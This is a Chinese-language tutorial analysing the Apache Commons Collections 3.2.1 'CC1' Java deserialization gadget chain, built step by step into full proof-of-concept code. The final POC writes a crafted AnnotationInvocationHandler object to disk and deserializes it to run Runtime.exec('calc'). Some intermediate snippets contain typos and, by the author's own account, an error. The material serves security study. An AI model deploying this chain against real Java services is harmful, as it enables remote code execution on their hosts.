java反序列化(三)CommonsCollections篇 -- CC1
java反序列化(三)CommonsCollections篇 -- CC1
前言
Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
CommonsCollections版本:3.2.1
test : Runtime.getRuntime().exec("calc");
知识准备
Class:
Transform
ConstantTransformer
InvokerTransformer
transformerChain
Map
TransformedMap
Gadget chain
One(标准):
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
---------------------------------------------------------------
Two(this):
poc
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
CC1链分析(从尾到头)
危险函数
//反射调用:
Runtime r = Runtime.getRuntime();
Class c = Runclass.class;
Method execMethod = c.getMethod("exec", String.class);
exec.Method.invoke(r,"clac");
//选取危险函数方法:InvokerTransformer.transfomr()
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"clac"}).transform(Runtime.getRuntime())
**InvokerTransformer.transform() -- source**
作用 : 调用输入Object函数名和变量InvokerTransformer.iMethodName相等的函数
参数类型为InvokerTransformer.iParamTypes
参数为InvokerTransformer.iArgs
InvokerTransformer.iMethodName,InvokerTransformer.iParamTypes,InvokerTransformer.iArgs均在调用decorate生成实例的时候确定
相当于 : input.iMethodName(iArgs)
input可控
触发危险函数InvokerTransformer.transform()
查找触发危险函数的类:
Map类:
DefaultMap:
DefaultMap.get()
LazyMap:
LazyMap.get()
TransformedMap:
TransformedMap.transformKey()
TransformedMap.transforValue()
TransformedMap.checkSetValue()
在这里选取了TransformedMap类的 TransformedMap.checkSetValue()
需要注意 : 本文中寻找CC链的路径和上面的ysoserial标准Gadget chain链子不一样,标准链中选取的是LazyMap.get()作为触发点
TransformedMap的构造方法:
因为TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer是保护方法,所以需要使用公共的静态函数decorate()调用从而实例化TransformedMap:
触发TransformedMap.checkSetValue()
checkSetValue()的触发点:
AbstractInputCheckedMapDecorator.MapEntry.setValue(Object value)
TransformedMap.decorate(map, null, invokerTransformer).entrySet()->entry.setValue()->AbstractInputCheckedMapDecorator.setValue()->
爷爷:AbstractMapDecorator 执行:this.map = map
爸爸:AbstractInputCheckedMapDecorator 实现了setValue()函数触发checkSetValue()函数
孙子:InvokerTransformer
AbstractInputCheckedMapDecorator(爸爸):
private final AbstractInputCheckedMapDecorator parent;
protected abstract Object checkSetValue(Object value);
public Object setValue(Object value) {
//parent是执行entrySet()的map(TransformedMap类)
value = parent.checkSetValue(value); //触发TransformedMap.checkSetValue()
return entry.setValue(value);
}
TransformedMap.checkSetValue():
protected final Transformer valueTransformer; //= decorate函数的第三个参数(InvokerTransformer类)
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value); //在TransformedMap类内实现transform()
}
InvokerTransformer.transform():
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
触发AbstractInputCheckedMapDecorator.MapEntry.setValue()
AbstractInputCheckedMapDecorator.MapEntry.setValue(Object value)的触发点 :
当 TransformedMap执行transformedMap.entrySet()得到的entry[]数组元素都是AbstractInputCheckedMapDecorator类的对象,
可以通过执行以下代码,在entry.setValue打断点确认entry的类型为AbstractInputCheckedMapDecorator
HashMap<Object, Object> map = new HashMap<>();
map.put("set_key", "set_value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}
所以确定AbstractInputCheckedMapDecorator.MapEntry.setValue()的触发点 : 一个TransformedMap的一个键值对entry
中途链子小测试
先做一个由TransformedMap.entrySet()到TransformedMap.transform()的可行性测试:
public static void main(String[] args) throws Exception {
//TransformedMap.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()测试
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer= new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"clac"});//.transform(Runtime.getRuntime())
HashMap<Object, Object> map = new HashMap<>();
map.put("set_key","set_value");
//decorate()函数将第二个Transform类型的参数赋值给TransformerMap.keyTransformer
//将第二个Transform类型的参数赋值给TransformerMap.valueTransformer
Map<Object ,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
//setValue()触发checkSetValue(Object value)执行TransformedMap.valueTransformer.transform(value)
entry.setValue(r);
}
}
在setValue()处打断点调试:
代码确实执行到了InvokerTransformer的transform函数,参数对象input就是setValue传入的r但是不知道为什么会报错,麻了
Tips:
entry.setValue(r)函数是从InvokerTransformer的父类AbstractInputCheckedMapDecorator继承而来.
在实例化InvokerTransformer的时候将第一个Map类型的参数通过super(map)传递给父类的父类AbstractMapDecorator,执行this.map = map
触发SetValue() <续&&终点>
寻找执行SetValue()函数会发现有很多类,但是最理想的是sun.reflect.annotation.AnnotationInvocationHandler是最理想的类(看到了希望),因为它的readObject()函数会直接执行SetValue();
可以看到会执行readObject()函数会执行:
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass()+"[" + value + "]" ).setMember( annotationType.members().get(name) ));
其中memberValue来自memberValues.entrySet()
memberValues为Map类型,可以直接在执行构造函数时定义
private final Map<String, Object> memberValues;
衔接上文可知 : 我们应该将memberValues定义为一个可利用的TransformedMap类
第一个参数Annotation类:
构造AnnotationInvocationHandler类:
//第一个参数(type) : Annotation类型是注解,可以将该参数设为Override.class
//第二个参数(memberValues) : 设置为构造好的TransformedMap对象
//Notice:
// sun.reflect.annotation.AnnotationInvocationHandler类不能通过import后直接new获取,
// 只能通过反射获取
// Code:
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
构造可以递归调用的InvokerTransformer
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
将三个可递归调用的InvokerTransformer放到ChainedTransformer类中:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
递归调用原理(令hashMap第三个参数的valuetransformer为一个ChainedTransformer实例,所以最终调用了ChainedTransformer.transform()函数):
由源码可知,因为我们令iTransformers[]数组为以上的transforms数组,所以会逐步执行:
object = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null});
//相当于执行了object1 = object.getMethod("getRuntime")
object = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(object1)
//相当于 object2 = object1.invoke()
object = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(object2)
//相当于执行了 object3 = object2.exec("calc")
//最终相当于执行了: object.getMethod("getRuntime").invoke().exec("calc")
所以如果只是以上代码只会执行object.getMethod("getRuntime").invoke().exec("calc")
使object = Runtime.class
通过修改transformers数组使object = Runtime.class
, 上面的代码就会执行Runtime.class.getMethod("getRuntime").invoke().exec("calc")
修改方法:
在修改前传入的object 等于 AnnotationInvocationHandler.readObject()中的new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))
AnnotationTypeMismatchExceptionProxy类对我们来说无法使用,所以在transformers之前加上一个ConstantTransformer类,就可以在递归调用以上的iTransform[i].trasfrom()之前使object Runtime.class
因为不管传入的参数是什么,ConstantTransformer.transform()只会返回ConstantTransformer.iConstant
ConstantTransformer.iConstant可以在ConstantTransformer实例化的时候自定义
使实例化的ConstantTransformer.iConstant = Runtime.class
因为ChainedTransformer.ITransformers[0] = transformers[0];
所以在执行ChainedTransformer.transform()的开始会先执行:
object = ChainedTransformer.ITransformers[0].transform(AnnotationTypeMismatchExceptionProxy) = ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy) = ConstantTransformer.iConstant = Runtime.class
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("set_key", "set_value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue("a");
}
}
其它问题(AnnotationInvocationHandler)
如果AnnotationInvocationHandler的type参数为Override.class就不会执行命令
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
因为AnnotationInvocationHandler.readObject()函数中,如果要执行memberValue.setValue( new AnnotationTypeMismatchExceptionProxy )
需要先通过判断if (memberType != null)
所以需要满足条件 : AnnotationType.getInstance(type).memberTypes().get(memberValue.getKey()) != null
AnnotationType.getInstance(type).memberTypes()就是实例化AnnotationInvocationHandler时第一个参数里面的的成员方法名
memberValue.getKey()是从TransformedMap的键值对获取的键名,
所以需要满足: map的键名 = AnnotationInvocationHandler的type参数类中的一个成员方法名
Target.class 有一个value()函数,所以可以得到POC:
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "set_value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
FileOutputStream fileOutputStream = new FileOutputStream("D:/cc1.bin");
ObjectOutputStream objectoutputStream = new ObjectOutputStream(fileOutputStream);
objectoutputStream.writeObject(annotationInvocationHandler);
FileInputStream fileInputStream = new FileInputStream("D:/cc1.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object o = objectInputStream.readObject();
}
}